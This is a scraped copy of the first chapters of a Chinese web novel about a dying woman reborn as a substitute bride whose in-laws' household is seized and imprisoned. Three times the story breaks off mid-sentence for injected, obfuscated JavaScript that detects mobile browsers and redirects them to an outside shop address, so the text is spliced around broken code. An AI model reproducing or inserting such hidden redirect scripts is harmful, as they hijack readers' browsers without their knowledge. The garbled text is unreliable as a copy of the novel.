《流放之养夫养崽日常》 1. 穿成炮灰中的炮灰 我天!这是哪儿? 夏知秋迷迷糊糊的睁开眼,略有些迷茫的看着眼前的一切, 心道:她不是已经死了吗?明明片刻前,她又觉一阵头痛恶心,随即便剧烈的呕吐起来,还以为该来的终究还是来了,紧接着就失去了意识~ 难道,她又没死成? 可~眼前既不是医院的病房,也不是她住的小院啊? 这满屋的红彤彤,莫不是有人在结婚?可又为何会让她这个频死之人……躺在她家的婚房里啊?不嫌晦气吗?! 正胡思乱想间,脑中又一阵剧痛袭来,这下,夏知秋反倒踏实了。才恍然:奥~,原来眼前的一切都是她的幻觉呀!她依旧还处于发病中,也依旧是那个被医院判了死刑,执意搬回老家等死的脑癌复发病人。 但,就在她捂住脑袋,绝望的接受着接下来炸裂般的疼痛之时,一股不属于她的记忆也伴随着那剧痛涌入了脑中… 待将那记忆接收完,她的头~突然就不疼了!? 夏知秋:“……” 看着眼前与她新增记忆中高度重合的场景,摸着自己那自化疗后就不曾再有过的满头青丝,忍不住想:她不会是…穿越了吧? 得益于这两年养病期间看过的那些网文,夏知秋对穿越重生之类的剧情可太熟悉了,因此,急忙迫切的爬起来朝着屋内梳妆台上的那面铜镜奔去,待看到镜中与自己截然不同的一张脸后,顿时忍不住~狂喜起来! 为免自己空欢喜一场,又下足力气狠狠拧了拧自己的大腿,瞬间疼的眼泛泪花,这才确认,眼前一切真的不是她的幻觉。 她不但穿越了,还穿越到了她昨晚正在看的一本名为《清欢传》的宫斗文里,文章主要讲述了在一个名为“大乾”的架空朝代里,女主贺清欢被迫入宫后,一路经历与成长的故事。 而她穿的这位与自己同名同姓的女炮灰,原文中甚至都没有交代过她的名字,只用了“夏嫔老家嫡姐”几个字代替。之所以有她的存在,也只是为了证明她那位身为女配的白莲花妹妹以及她那一家子,心性都过于恶毒凉薄罢了。 按书中剧情:男配上官启,也就是如今的永昌帝~极善隐忍,表面对把持朝政的舅父叶光言听计从,从不敢反驳,暗地里却悄悄培植自己势力,终于在登基三年后扳倒了大权独揽的叶光。 而与她穿的这位白莲花妹妹夏舒雅定婚的,正是叶光的嫡次子,叶府四少爷叶落,叶光被抓时,距离二人婚期也就还有不到半月的时间。 但,似乎叶家并没有要解除婚约或者延迟结婚的意思…… 眼看叶家要倒,她那恶毒女配妹妹自然不想再嫁入火坑,但又怕自己父亲惧怕叶家势力不肯同意,于是便联合自己母亲…也就是她那个继母,想出了这么个李代桃僵的主意,唆使她父亲将她原身给嫁了过来。 而从她继承的原身记忆中可见:彼时她穿的这位可怜的小炮灰,正独自在老家发着高烧呢,就被其父连夜派人接来了京都…… 本来小姑娘还在暗自窃喜,以为她爹总算良心发现,终于想起了她这个被其丢在老家整整十六年的女儿。谁知经过五天五夜的连续颠簸后,小姑娘却连其父的面都未曾见着,就被安排住进了一处小院子里。 第二日,就稀里糊涂的披上了嫁衣,在被众婆子“裹携”着拜别父母时,草草扫了座上她那玉树临风、温文尔雅的父亲一眼后,就被轿子抬到了叶府。 至始至终,都未曾有人问过一声她这些年过得怎样,也至始至终没人发现……她已经连续烧了七天了! 最终,在被送进新房后不久,这个与自己同名同姓的小姑娘,就因着体力不支昏死了过去,再醒来,就是换了芯子的她了。 而书中,对她的结局也只用草草一句带过:“其代嫁嫡姐于叶家被抄当日,便因连日高烧及惊吓过度,猝死于新房中……” 真可谓是炮灰中的炮灰了! “唉!看来我这多出来的一辈子,也注定不会轻松,且任重而道远啊!”夏知秋忍不住感叹道。 在将所有记忆都整合后,顿时也不敢再耽搁了,只因着按原著中剧情,她与叶落成婚的当晚,就是叶家被抄之时。 而…从她接收的记忆中又可知:在她穿来前,刑部尚书倪大胜就已带人围了叶家,即将要对其展开抄家了。 这让盼着用叶落的婚事拖延几日,好继续寻求叶家同盟帮忙的叶家众族人慌乱不已,府中瞬间就乱做了一团。稀松的几个客人也都匆匆离去,原本在她婚房里伺候的丫鬟婆子们听到消息后,也纷纷四散而逃,寻家人的寻家人,藏东西的藏东西去了。 以至于连她这个新妇猝死于新房内都无人知晓…… 而夏知秋就是在此情形下穿了过来~ 此时听着外院此起彼伏的惊叫声、喝骂声,显然已经有官兵冲进了府里,熟知小说前半部分剧情的她深知接下来等待叶家的将是长达两个多月的关押审判,紧接着便是叶光被赐自尽,叶蒲被判腐刑,叶家全族皆被流放辽东。 而她这个叶家新妇估计也跑不了,因此急忙在屋内四处寻摸起来…… 先是在自己的陪嫁箱子里找了两套素色又相对绵软的里衣,又翻出了身原身进京时带的酱紫色棉衣、棉裤来,因着这身衣服是原身亲娘去世前才给她做的,所以进京时小姑娘什么也没带,就带上了这身衣裳。 后来,夏家那些婆子嫌弃这身衣裳粗鄙,不愿让她放进嫁妆箱子里,嘲讽说:她家的仆人穿的料子都比这个好,没的带到婆家去让人笑话,扯出衣服来就想给她扔了, 原身见了,终于忍不住爆发了。也不知哪来的力气,一把就将衣服给扯了回来,恶狠狠的表示:不让她带着这身衣裳,她绝不嫁人,别以为她不知道她们搞得什么名堂! 那些婆子也不愿为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12975896|136943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身破衣裳坏了她们夫人小姐的好事儿,这才不得不由了她了。此时倒是正好留着坐牢穿,反正那些锦衣华服之类的衣裳穿了去,多半也留不住。 夏知秋忍不住自嘲的想,自从身患绝症后,她的一腔抱负瞬间化为了乌有,心态反而变得豁达了许多。 毕竟人生不过短短几十年,有的甚至连几十年都活不了,争那些有的没的又有什么用?只要一日三餐不缺,四季冷暖能过,外加身体康健…就足够了。 只可惜,这话她外公劝过她无数次,让她不要那般拼,千万注意身体。但她…虽表面应承着,内里却是一丁点儿都没听进去,唉! 夏知秋的心思百转,手下却不停,找出棉衣棉裤后,立刻又将首饰盒子里的金钗、金手镯之类的全都挑了出来,搁地上咵咵踩碎…… 多亏了她那位小气继母,虽来不及更换那些衣裳鞋袜之类的嫁妆,但却将原本陪送她亲闺女的那些个名贵首饰们全都换了,所以,她的这些金钗、手镯之类的大都是空心的,倒是好踩的很。 待踩得差不多了,又快速有序的将那些踩得平整的金碎片仔细的塞进了各件衣服的衣角、棉花、袖子、领子的缝隙里,总之,能藏的地方她都藏了! 又将自己的嫁衣脱了,将那些藏有碎金片的衣服一层层的套在了里面,得益于她穿的这位十分的消瘦,即便夏知秋已经套的里三层外三层,但在外头看来也没显出丝毫的臃肿…… 待将所有的衣服都套完,抄家官兵的呵斥声也越来越近了,夏知秋强迫自己镇静,一边快速的给自己脚上又套了两双厚袜子,一边朝着身边打开的几个箱笼里寻摸着,一眼看见右边箱子底下的一双紫红色鹿皮靴,急忙将自己脚上那双华而不实的婚鞋给丢了,将那双鹿皮靴给换上了… 如今虽然才八月初,秋老虎还尚在发威,但一早一晚已经开始有些冷了,想来那牢中更是阴暗潮湿,她如今身子可虚的很,可不能再受凉了! 而且,日后她们还要被发配辽东,更是九死一生,多穿些衣物总是不会错的!要不是怕太突兀,她恨不得将箱笼里的毛皮斗篷都披上! 待将所有东西都藏好、穿好,确保外面摸不出来后,夏知秋又仔细检查了一次地面,确定没有首饰残渣,这才又将耳朵上戴的,柳氏为了面子唯一没有调换的一对红宝嵌珠定金耳坠摘了下来, 因着这对耳坠共分为三层,夏知秋只将最下面的两颗小指甲大小的红宝连同上面连接的金环摘下藏在了袖子里,又将剩余的的珍珠戴了回去,待做完这些,院子里已然有官兵冲了进来…… 趁着那群官兵朝着院中婆子丫鬟呼喝的功夫,夏知秋急忙又就着茶水塞了两块桌上摆的桂花糕进嘴里胡乱嚼了,这才用袖子擦了擦嘴,一脸怯弱惶恐的朝着冲进屋内的诸官兵看了过去…… “诸…诸位军爷,不…不知出了何…何事?~” 诸官兵…… 2. 抄家 最近几日,关于权倾朝野的叶国舅一家即将被永昌帝清算一事,在京都可谓传的沸沸扬扬,自叶国舅父子被扣之日起,其府里就已被官兵三步一岗、五步一哨的看守了起来, 之所以还没动手,只不过是因着永昌帝一直在做人设,面对满朝文武对叶光的弹劾与指证,一直含泪表示:绝不相信舅父会做出那些贪赃枉法,挟势弄权之事来! 何况,太后她老人家才刚去世不久,他就将矛头指向舅父一家,又让世人如何看待他这个皇帝? 当然…,大家也都知道,最终这位还是会为了“家国大义”,朝着叶家动手,要不然,也不会当庭扣下叶光与其嫡长子叶蒲了。只不过是有些拿不准他们这位一向以仁善著称的新帝,是想看在亲戚一场及往日的情分上,对叶家小惩大诫,还是要赶尽杀绝罢了。 而,因着叶家的事儿,即将与其成为亲家的礼部尚书夏柳仁一家也跟着被推上了风口浪尖,变得惹人注目起来。 所谓世上就没有不透风的墙,当初因着自己闺女巴上了叶家这个高枝,夏柳仁的继夫人柳氏可没少在诸夫人面前嘚瑟,对此,京都贵妇圈几乎无人不知,无人不晓。 但如今,眼看就要到两家成亲的日子,新娘却突然从柳氏的亲闺女变成了自小被养在老家的原配生的长女,再联想到叶家如今情形,柳氏打的什么主意,旁人又怎么可能会看不出来? 纷纷对柳氏的行为表示不齿起来,觉得:若是你怕自家闺女落入火坑,大可与叶家解除了婚约,毕竟谁都有自私的一面,总不能眼看前面是个深渊,还推着自家闺女往下跳吧? 但你推别人闺女下去算怎么回事啊?合着不是你亲生的,你就不心疼是吧? 还有那夏柳仁,看着道貌岸然的,没想到也如此的不是东西?竟然也默许了此事。柳氏至少还是那孩子的继母,他可是那孩子的亲爹啊! 而如今能参与抄家这等“肥差”的官兵,大多都是京都官宦子弟,尤其带队进入夏知秋院子的这位周校尉,更是京都消息最为灵通的大理寺少卿周夫人的长孙, 也因此,对这个刚嫁进来叶家就要被裹携着关进大狱的叶家新妇,天然便带了丝同情。此时见她一脸惊慌,面色惨白,神情羸弱,显然受惊不小,忙上前一步,叹道: “你莫怕,我等乃是奉命前来查抄叶家的,想来与你这个新妇并无太大关系。” 又见屋内空无一人,便点了身后两个手下:“你们两个看着她将身上首饰除了,再将她带到关押叶家女眷的屋子里去,莫要吓唬她!” 说完,便带着其余兵卒进内室里搜查去了。 夏知秋:“……” 万没想到眼前官兵的态度竟然如此的好,她原本还以为,会被无礼搜身后,再被五花大绑或者捆了双手,推搡着带走呢。那些电视剧中不都是那样演的吗? 此时见了,忙将手中握着的宝石耳坠收回了袖中暗袋,觉得:这时候要是再暗中实施贿赂为免显得她太过圆滑了,与她惊恐可怜的形象十分的不匹配, 所以,只朝着那周校尉深深鞠了一躬,一脸感激道:“多谢您了。” 又老实的在两个兵卒的注视下将头上手上的首饰摘了,轻轻的摆放到桌子上。紧接着便被两个兵卒带着到了叶家后堂平日里招待女眷的一处敞厅中,此时所有叶家女眷都被关押在这里。 一进厅内才发现,似乎只有她是自己走着过来的,旁的女眷们全都被官兵或呵斥或驱赶着、哭着叫着押了过来,头发也被扯得如杂草一般,一看就是摘首饰摘的慢了,被人给硬扯的。 见她进来,也一个有心情搭理她的都没有,全都或木愣愣站着,或搂着儿女,扯着母亲的哭做一团。 夏知秋…… 反正谁也不认识,便自顾自找了个角落坐了,将袖中藏的两颗红宝又偷偷转移到靴筒的夹层中后,便又开始分析起自己目前的处境来…… 据她看过的那部分书中剧情,她此时的便宜公公叶光被抓后,很快就会被永昌帝以构陷忠臣、把持朝政等等罪名下令赐死,其余族人皆被判发配辽东。 而与其一同被抓的其嫡长子叶蒲,则因着从小惊才绝艳,名满京都,又从小与病逝的先太子交好,看不起当时小透明的八皇子上官启…也就是如今的永昌帝,而被永昌帝所嫉恨, 加之其在得知自己父亲被赐死后气愤难耐,当庭引经据典大骂永昌帝阴险小人,如同蛰伏在阴沟的臭虫,最终惹得永昌帝震怒,被其恶意判为腐刑,迁掖廷令。 至于后来,其应该会与身处后宫的女主有一番深度交集,对其成长会有很大的帮助,但可惜,后面的剧情夏知秋还未曾读到,就穿了过来…… —————— “你是我四婶吗?…” 就在夏知秋沉默的坐于角落,边休息边想着接下了该怎么办时,一个稚嫩的女童声突然在耳边响起,抬眼一看,就见一五六岁,长的粉雕玉琢的小姑娘,正一脸好奇的打量着她, 见她看过去,立刻从她挎着的荷包里掏了块油纸包的饴糖出来,递到了她面前,笑嘻嘻道:“请你吃糖!每次我难过时,都会吃一颗,这糖可好吃啦!” 夏知秋…… 本不想与叶家人有太多交集,但感受着面前小小孩童的纯真善意,一时也说不出拒绝的话来,只能含笑接过她的糖,这才问道:“你怎么会觉得我难过了?” “因为我每次难过或者想爹爹了,就会躲到墙角,不想被人看到。” 小丫头眨着双大眼睛,笑着指了指夏知秋待的墙角,意思:你和我一样奥~ 又自我介绍道:“我叫叶柠月,府中人都唤我大姐儿,我爹爹和四叔却爱唤我柠姐儿,唤我弟枫哥儿…” 夏知秋…:好吧,小丫头观察的还挺仔细。听其介绍完,她大概也猜到这丫头是谁了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12975897|136943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是叶家嫡长子叶蒲的一对龙凤胎儿女之一。 按原著中介绍:叶蒲的原配林氏乃是原国子监祭酒之女,亦是京都有名的才女,与叶蒲夫妻感情甚笃,只可惜在生产时遭遇难产,在生下一对龙凤胎后不久就撒手人寰,只给叶蒲留下了一对嗷嗷待哺的儿女。 而那叶蒲自爱妻离世后就一直未曾再娶,只独自抚养着一双儿女长大,直到被其父连累被判腐刑入宫之时…… 后来,小丫头口中那个名唤枫哥儿的弟弟,在后期的流放途中也因不小心掉落悬崖摔死了,同时摔死的还有为了救他一起掉下去的其四叔叶落,也就是她那位——炮灰夫君。 至于眼前小丫头的结局,因着前期书中并未提及,夏知秋就不得而知了,但想来也好不到哪儿去。 “大姐儿,你什么时候被带过来的?让奴婢好一通找!” 就在夏知秋沉思之时,一位三十来岁的妇人突然一脸慌张的跑了过来,一把抱起她面前的叶柠月就去了离夏知秋不远的另一处角落,紧接着就将亵衣里藏着的银角子掏出来,快速的塞进小丫头的衣服里。 边塞边防备的看了夏知秋一眼,一副怕她说出去的样子。 夏知秋见了,立刻将身子转了向,同时心中腹诽:还防备我?就你那藏银子的法子,待会儿检查时准保儿一摸一个准,能留住才怪。 那妇人见她转了身,也跟着松了口气,这才又朝着怀中的叶柠月嘱咐道: “我的小祖宗,如今家里出了这样的事儿,以后怕是没人能顾得了你了,你可千万莫要再淘气了。 记着,以后一定要听二奶奶的话,若是有人欺负你,也千万莫要回嘴了,知道吗?” “那乳母呢?不陪着柠姐儿了吗?还有爹爹,怎么这么久都不回家?明明那天,他还说下衙后给我带最新的九连环的……” 可能感受到了面前妇人的慌乱与悲伤,并不知发生何事的小姑娘也突然变得惊慌起来,拉着自己的乳母就哭了起来。 “乳母也想陪着你,只是乳母现在也…自身难保,还请小小姐千万要保重啊!” 那妇人见了,忍不住也抱着小人儿哭了起来,如今大爷不在,四爷与小少爷等家中男丁也都被带走了,她们这些仆人大概率也要被发卖,小小姐以后也不知能靠着谁?又能不能在这场祸事中活下来。 正悲愤间,突闻呼啦啦一阵呼喝声响起,紧接着一群带刀士兵就闯了进来,朝着厅中女眷命令道: “凡丁家女眷,都过来这边核验身份,其余奴籍者都站到那边去!” 边说边挥刀朝着厅中慌作一团的女眷们驱赶起来。 很快,哭闹的柠姐儿与其乳母就被几个兵卒强行分割开,哇哇大哭的柠姐儿亦被拉着扔进了叶家女眷群中,其中一个女眷见了,忙将其抱在了怀中。 而夏知秋,自那队士兵进来后,就已经自觉的排到众女眷后面去了~ 3. 搜检 接下来便又是一阵漫长的等待,中间叶光的夫人甄氏还仗着身份与领头的那位千户好一通纠缠,不但提出要见皇后,还大骂此次抄家的监察官——刑部右侍郎郝大胜狼心狗肺,明明是受了她家老爷的提拔才当上的刑部侍郎,却转眼间就对自己恩师反咬一口,恩将仇报。 夏知秋听了顿时又忍不住腹诽:也不知她这位便宜婆婆是精还是傻?还是平日里嚣张惯了?竟糊涂的连眼前的形势都看不出来? 退一万步说,就算一切真如她所说,那郝大胜不是个东西,也不能这般当众嚷嚷出来啊,这一嚷嚷,就算能留的情面怕是也不能留了。 果不其然,甄氏这边还没骂完,几个凶神恶煞的兵卒便走了进来,紧接着便以甄氏受惊,胡言乱语为由将人给带走了, 甄氏的心腹槐嬷嬷见了,忙想跟上前去,被其中一个兵卒看见,一脚就将她给踹到了地上,脑袋直接磕在了厅内的大理石地面上,顿时磕了个头破血流,疼的嗷嗷惨叫起来。 “呸!个老虔婆!还当仗着你主子耀武扬威的时候呢?再敢胡喊乱叫,违抗圣令,直接乱棍打死!” 那位带队千户听槐嬷嬷鬼哭狼嚎,立刻又挥着棍子朝她打去,显然将刚才在甄氏那儿受得气,全都发在了这老婆子身上。 在被狠狠抽了两棍子后,槐嬷嬷便吓得再不敢言声了,强忍着疼连滚带爬的退回到了奴仆那队里,自己龇牙咧嘴的胡乱裹伤去了。 厅中众人见了,立刻也都老实了,谁也不敢再做出头的椽子,一时间,整个厅内都变得落针可闻起来…… 那千户要的就是这效果,立刻冷哼一声,继续吩咐着手下将一众叶家女眷同诸丫鬟仆妇们分隔开,分别往外带去。夏知秋见了,便知这是到了要清查点名,查验私带的时候了。 果不其然,片刻后,她们一行便被带到了一间房屋内,里面五六个面貌严肃的婆子正严阵以待的等在那里。 见人到了,立刻令她们一个个上前,问明身份后,就开始上下搜检起来,若摸到可疑之处,当即便勒令该女子脱咣衣物,连亵裤都不让穿,甚至还探手去里面查找…… 如此屈辱性的一幕,对诸女眷们的打击无疑是巨大的,其中甄氏的亲外甥女,同时也是叶府的三少奶奶孙氏,在被摸出衣服中有可疑之处,被勒令脱掉所有衣物,俯趴到桌子上时,立刻恼羞成怒起来…… “你们也欺人太甚了!难道你们就没有女儿、孙女吗?怎可当众让我等做…做如此屈辱之姿?我…我不活了!” 边说边作势朝一旁的柱子上撞去。 诸婆子中打头的白胖婆子见了,立刻拉着身旁的另一个婆子往旁边避了避,将那柱子给亮了出来, “嘿嘿,既然这位少奶奶不想活啦,那咱也就别拦着人家投胎了,省的接下来的日子里…投胎的人数过多,再排不上好人家!” 又朝着被她此举吓得呆愣住的孙氏恶狠狠道:“还愣着做什么?要是不敢死,就赶紧脱衣裳!不然就直接给我滚到院子里去,倒时候自然会有人帮你脱!” 边说边示意身旁的婆子将屋内的几扇窗户全都打开了,紧接着一阵阵女子的惨叫声便传了进来,而与那些女子的惨叫哭泣形成鲜明对比的,则是一群男子肆无忌惮的□□声…… 诸女眷:“……” 即便是未经人事的少女,也被那些□□声惊得白了脸,变得不寒而栗起来,更别说知道其中意味的妇人了。 那白胖婆子见了,这才又朝着屋内诸女眷皮笑肉不笑道: “呵呵,诸位夫人奶奶们可还觉得受辱?若是不愿意让我们这群老婆子查看,不如现在就换到院子里去,同那些丫鬟仆妇们一般,将亵衣脱至脐腹以下,让那些男卒们随意查检?” 边说边又看向已经吓得颤栗不止的孙氏,大有一副她再不宽衣,下一刻就将她拖进院子里的架势。 孙氏…见了,哪还敢有半分犹豫,急忙将外衫给脱了下来,又犹犹豫豫的脱了里衣,顿时一阵噼里啪啦的首饰掉落声传来…… 众人…… —————— 有了孙氏的教训,接下来的搜检顿时快了许多,不但没人敢再作妖,有些胆怯的,甚至还没等人家搜,就自觉的将私藏的银两首饰交了出来, 待轮到夏知秋时,几个婆子一看她身上嫁衣,便知其就是那位被继母坑害,送进叶家等死的倒霉蛋了,看她的目光怜悯者有之,木然者有之,纯纯喜欢看人倒霉的亦有之,但态度比起对旁人来倒是好多了,至少没一上来就掐她。 又见她一过来就老实的脱了身上嫁衣,露出里面一身素棉袄裤来,更觉吃惊,心道:那夏家也太不要个脸,人都被坑成这样了,竟连身正经嫁衣都不给穿?哪有嫁衣里头套旧袄的? 只有那白胖婆子目露怀疑之色: “如今穿夹衣都还嫌热的慌,你怎的这么早就穿上棉袄棉裤了?莫不是为了~夹带东西吧?” “回婆婆,呃…不,嬷嬷,我…我实在是太冷了,这才忍不住将我娘生前给我做的袄子套上了,绝不是有意的。我…我…这就脱了!” 夏知秋闻言忙哆哆嗦嗦道,边说边伸手去解身上的袄扣,但刚刚解了两颗,就觉“一阵眩晕”袭来,紧接着就白眼一翻,朝着那白胖婆子怀中栽去。 那婆子~出于本能,忙将人给一把抱住了,顿觉触手处一片滚烫,急忙伸手探向她额头:“诶呦,这丫头烧的可不轻!” “这是烧~抽了?!” 众婆子见了,也纷纷围了上来,掐人中的掐人中,掐虎口的掐虎口,这才将牙关紧咬的夏知秋给“救醒”,在大口喘了两口粗气后,忍不住就拉着那白胖婆子的衣角掉起泪来: “呜呜~,婆婆,为何同样是女儿,他却独对我这般无情? 我自五岁起,就再没见过他了,我娘为供他读书科举累了一身的病,末了末了,却连拿药的二两银子都凑不出。 直到病的起不了榻了,村里人看不过去,托人捎信给他,想让他回去看我们娘俩一眼,他都不肯! 呜呜~,后来我娘没了,他也只是派了个管事回去,一口薄棺草草将她葬了了事。我娘下葬都还没过一个月呢,他…他就将那柳氏提成了正妻。 前几日,好不容易盼着他来接我了,我还以为他终于良心发现了,想起还有我这么个女儿了,却…却…原来只是为了让我替妹出嫁! 呜呜~,就算我不如…不如妹妹貌美讨喜,就算他不喜我娘亲出身乡野,也不能这般对待我们母女吧?呜呜…婆婆,我真的好恨他呀!” 夏知秋扎在那白胖嬷嬷怀里哭的肝肠寸断,边哭边数落着她那位便宜爹干的负心事,为求效果逼真,手下更是下足了力气,捏住自己大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12975898|136943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿内侧的软肉就是一阵狠掐,直将自己掐的涕泪横流才罢休。 没办法,为了保住她衣物里的那些财物,她如今也只能利用原身的身世,将她那个陈世美渣爹拿出来鞭尸,以换取眼前几人的同情…… 身为女人,大概没几个人会不喜欢听八卦,以及讨厌…陈世美的吧? 听完夏知秋的哭诉后,几个婆子果然纷纷面露愤怒之色,有个因长相粗鄙同样遭受丈夫嫌弃的,更是忍不住破口大骂起来,就连那领头的白胖婆子都跟着“啐”了几声,骂了句:真他娘不要个脸! 但…,这么多年搜检嬷嬷当下来,她们这些人经的看的人间惨事早已数不胜数,其中比眼前丫头更惨更可怜的也多的是,心肠早就磨得硬了。 因此,在跟着唏嘘了几句后,最终,那白胖婆子也就只微微拍了拍夏知秋的肩膀,意味深长的道了句: “唉!这都是你的命!我看你也不似个纯傻的,能活着就先好好活着吧。” 说完,就将她越了过去,开始搜检起其他来。 夏知秋…… —————— 金秋九月,沙沙落叶,婆娑起舞,夏知秋却已是半个多月不曾见过日头了,自从被带到这间闭塞的牢房开始,她就只能透过栅栏外那扇小小铁窗来分辨何时为白天,何时是黑夜…… 但,她的心情依旧是飞扬的。与前世只能孤独且无奈的等待死亡相比,这点儿磨难,对于从小随外公习武,考上大学后才离开农村老家的她,虽痛苦,但也不是不能够忍受的。 当然,如果没人烦她的话,那就更好了! “呀!老鼠!好可怕!夏氏,快…快将它打死!快呀!” 就在夏知秋闭目养神之时,一道刺耳的声音突然传了过来,不是她那位讨厌的三妯娌又是哪个? 呵呵,都被关进来半个多月了,这位还仗着受她那便宜婆婆的宠,对其他人颐指气使呢,真是~狗改不了吃屎! 夏知秋微微抬眼瞟了她一眼,又再度闭上了,每日就那么一丁点儿食物充饥,她可不想都消耗在这讨厌鬼身上。 但讨厌鬼之所以被称为讨厌鬼,不是没有原因的。见夏知秋不搭理她,孙氏立刻气的不行,横眉立眼的就朝她走了过来,掐腰道: “喂!说你呢!赶紧去将那老鼠打死,若惊到婆婆,唯你是问!” 夏知秋被她尖利的嗓音刺得耳朵生疼,只能无奈的睁开眼,抬手揉了揉耳朵后,才淡淡道:“若是我没记错,那好像也是你婆婆吧?你怎么不去打?” 孙氏:“……” “我…我又不像你一样粗鄙,在乡间长大的,我看到那东西就…就恶心!!” 她可是自小在京都长大,老鼠都没见过几回,更别说打老鼠了。哪像这蹄子似的,一脚就能将老鼠给踢死! 而且,这死蹄子也太能装了吧?搜检时又晕又哭的,孱弱的让人以为她转眼就能咽气,谁知一到了牢里却突然又精神了,抢吃抢喝抢位置的,还独自霸占了一整张草席子,她早就看她不顺眼了! “奥?” 夏知秋才不会惯着她,立刻挑眉指了指牢房里位于角落的几只散发着屎尿酸臭的恭桶~ “既然您这般高贵?怎么也没见您憋着不拉屎?!那恭桶都快满了,刚如厕时也没见您…吐出来啊?” 孙氏:“……” 4. 打起来了